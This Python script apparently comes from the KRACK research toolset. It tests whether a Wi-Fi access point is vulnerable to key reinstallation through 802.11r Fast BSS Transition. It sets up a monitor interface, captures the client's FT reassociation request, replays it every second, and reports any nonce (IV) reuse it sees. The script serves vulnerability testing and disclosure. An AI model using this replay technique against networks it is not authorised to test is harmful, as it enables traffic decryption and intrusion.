krack-ft-test.py 6.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170
  1. #!/usr/bin/env python3
  2. # Copyright (c) 2017-2021, Mathy Vanhoef <Mathy.Vanhoef@cs.kuleuven.be>
  3. #
  4. # This code may be distributed under the terms of the BSD license.
  5. # See LICENSE for more details.
  6. import logging
  7. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  8. from scapy.all import *
  9. from libwifi import *
  10. import sys, socket, struct, time, subprocess, atexit, select
  11. #TODO: - Merge code with client tests to avoid code duplication (including some error handling)
  12. #TODO: - Option to use a secondary interface for injection + WARNING if a virtual interface is used + repeat advice to disable hardware encryption
  13. #TODO: - Test whether injection works on the virtual interface (send probe requests to nearby AP and wait for replies)
  14. #### Man-in-the-middle Code ####
  15. class KRAckAttackFt():
  16. def __init__(self, interface):
  17. self.nic_iface = interface
  18. self.nic_mon = interface + "mon"
  19. self.clientmac = scapy.arch.get_if_hwaddr(interface)
  20. self.sock = None
  21. self.wpasupp = None
  22. self.reset_client()
  23. def reset_client(self):
  24. self.reassoc = None
  25. self.ivs = IvCollection()
  26. self.next_replay = None
  27. def start_replay(self, p):
  28. assert Dot11ReassoReq in p
  29. self.reassoc = p
  30. self.next_replay = time.time() + 1
  31. def process_frame(self, p):
  32. # Detect whether hardware encryption is decrypting the frame, *and* removing the TKIP/CCMP
  33. # header of the (now decrypted) frame.
  34. # FIXME: Put this check in MitmSocket? We want to check this in client tests as well!
  35. if self.clientmac in [p.addr1, p.addr2] and Dot11WEP in p:
  36. # If the hardware adds/removes the TKIP/CCMP header, this is where the plaintext starts
  37. payload = get_ccmp_payload(p)
  38. # Check if it's indeed a common LCC/SNAP plaintext header of encrypted frames, and
  39. # *not* the header of a plaintext EAPOL handshake frame
  40. if payload.startswith(b"\xAA\xAA\x03\x00\x00\x00") and not payload.startswith(b"\xAA\xAA\x03\x00\x00\x00\x88\x8e"):
  41. log(ERROR, "ERROR: Virtual monitor interface doesn't seem to pass 802.11 encryption header to userland.")
  42. log(ERROR, " Try to disable hardware encryption, or use a 2nd interface for injection.", showtime=False)
  43. quit(1)
  44. # Client performing a (possible new) handshake
  45. if self.clientmac in [p.addr1, p.addr2] and Dot11Auth in p:
  46. self.reset_client()
  47. log(INFO, "Detected Authentication frame, clearing client state")
  48. elif p.addr2 == self.clientmac and Dot11ReassoReq in p:
  49. self.reset_client()
  50. if get_element(p, IEEE_TLV_TYPE_RSN) and get_element(p, IEEE_TLV_TYPE_FT):
  51. log(INFO, "Detected FT reassociation frame")
  52. self.start_replay(p)
  53. else:
  54. log(INFO, "Reassociation frame does not appear to be an FT one")
  55. elif p.addr2 == self.clientmac and Dot11AssoReq in p:
  56. log(INFO, "Detected normal association frame")
  57. self.reset_client()
  58. # Encrypted data sent to the client
  59. elif p.addr1 == self.clientmac and dot11_is_encrypted_data(p):
  60. iv = dot11_get_iv(p)
  61. log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
  62. if self.ivs.is_iv_reused(p):
  63. log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
  64. "AP is vulnerable!") % (iv, dot11_get_seqnum(p)), color="green")
  65. self.ivs.track_used_iv(p)
  66. def handle_rx(self):
  67. p = self.sock.recv()
  68. if p == None: return
  69. self.process_frame(p)
  70. def configure_interfaces(self):
  71. log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
  72. # 0. Some users may forget this otherwise
  73. subprocess.check_output(["rfkill", "unblock", "wifi"])
  74. # 1. Remove unused virtual interfaces to start from a clean state
  75. subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  76. # 2. Configure monitor mode on interfaces
  77. subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  78. # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  79. # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
  80. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  81. time.sleep(0.5)
  82. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  83. subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  84. def run(self):
  85. self.configure_interfaces()
  86. self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  87. # Open the wpa_supplicant client that will connect to the network that will be tested
  88. self.wpasupp = subprocess.Popen(sys.argv[1:])
  89. # Monitor the virtual monitor interface of the client and perform the needed actions
  90. while True:
  91. sel = select.select([self.sock], [], [], 1)
  92. if self.sock in sel[0]: self.handle_rx()
  93. if self.reassoc and time.time() > self.next_replay:
  94. log(INFO, "Replaying Reassociation Request")
  95. self.sock.send(self.reassoc)
  96. self.next_replay = time.time() + 1
  97. def stop(self):
  98. log(STATUS, "Closing wpa_supplicant and cleaning up ...")
  99. if self.wpasupp:
  100. self.wpasupp.terminate()
  101. self.wpasupp.wait()
  102. if self.sock: self.sock.close()
  103. def cleanup():
  104. attack.stop()
  105. def argv_get_interface():
  106. for i in range(len(sys.argv)):
  107. if not sys.argv[i].startswith("-i"):
  108. continue
  109. if len(sys.argv[i]) > 2:
  110. return sys.argv[i][2:]
  111. else:
  112. return sys.argv[i + 1]
  113. return None
  114. def get_expected_scapy_ver():
  115. for line in open("requirements.txt"):
  116. if line.startswith("scapy=="):
  117. return line[7:].strip()
  118. return None
  119. if __name__ == "__main__":
  120. if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
  121. print("See README.md for instructions on how to use this script")
  122. quit(1)
  123. # Check if we're using the expected scapy version
  124. expected_ver = get_expected_scapy_ver()
  125. if expected_ver!= None and scapy.VERSION != expected_ver:
  126. log(WARNING, "You are using scapy version {} instead of the expected {}".format(scapy.VERSION, expected_ver))
  127. log(WARNING, "Are you executing the script from inside the correct python virtual environment?")
  128. # TODO: Verify that we only accept CCMP?
  129. interface = argv_get_interface()
  130. if not interface:
  131. log(ERROR, "Failed to determine wireless interface. Specify one using the -i parameter.")
  132. quit(1)
  133. attack = KRAckAttackFt(interface)
  134. atexit.register(cleanup)
  135. attack.run()